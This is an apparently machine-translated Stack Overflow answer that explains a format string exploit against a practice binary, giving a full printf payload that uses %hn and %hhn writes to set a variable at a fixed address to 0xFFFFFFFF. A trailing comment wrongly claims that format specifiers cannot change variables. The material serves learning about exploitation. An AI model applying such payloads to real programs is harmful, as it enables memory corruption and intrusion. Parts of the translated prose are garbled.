只需使用linked article第一部分末尾描述的技巧即可。這包括分裂值-1(0xFFFFFFFFF
)到下部和上部字(兩次0xFFFF
)和這些分別寫入地址&a
和(void*)(&a)+2
:
./v4_2.out `printf "\xc4\x98\x04\x08\xc6\x98\x04\x08"`%65527x%7\$hn%8\$hn"
解釋:
\xc4\x98\x04\x08 ... 0x080498c4, the address of a (lower two bytes)
\xc6\x98\x04\x08 ... 0x080498c6, the address of a (upper two bytes)
%65527x ... write 65527 extra bytes of garbage (eight have been written by now, so that makes 65535)
%7\$hn ... write the number of characters so far (65535 = 0xFFFF) to lower word of a
%8\$hn ... write the number of characters so far (65535 = 0xFFFF, it didn't change) to upper word of a
數7來自您的上一個命令:
printf "\xc4\x98\x04\x08"`%08x%08x%08x%08x%08x%08x%n
1^ 2^ 3^ 4^ 5^ 6^7^
並且我存儲了一個更多的地址,以便堆疊一個t的位置8.
這仍然使很多輸出,你可以更進一步,並寫入0xFFFFFFFF
逐字節。它應該是這樣的:比其他0xFFFFFFFF
\xc4\x98\x04\x08 ... 0x080498c4, the first (low) byte of a
\xc5\x98\x04\x08 ... 0x080498c5, the second byte of a
\xc6\x98\x04\x08 ... 0x080498c6, the third byte of a
\xc7\x98\x04\x08 ... 0x080498c7, the fourth (high) byte of a
%239x ... write 239 extra bytes of garbage (16 have been written by now, so that makes 255)
%7\$hhn ... write the number of characters so far, as a byte (255 = 0xFF) to the first address above
%8\$hhn ... the same for the second
%9\$hhn ... the same for the third
%10\$hhn ... the same for the last
數字需要每個%hhn
之間的一些額外的輸出。您需要計算它們之間輸出的垃圾字節數量,以彌補各自的差異。如果您需要低於之前的值,請使用僅寫入一個字節的事實,以便算術以256爲模。
歡迎來到SO。你很不清楚,你想達到什麼目的。你的標題是關於使用錯誤的格式說明符(%u vs -1)。你的問題提到了一些利用來修改一個值。格式說明符可能會改變打印輸出,但它們不會更改任何變量中的值。 – Gerhardh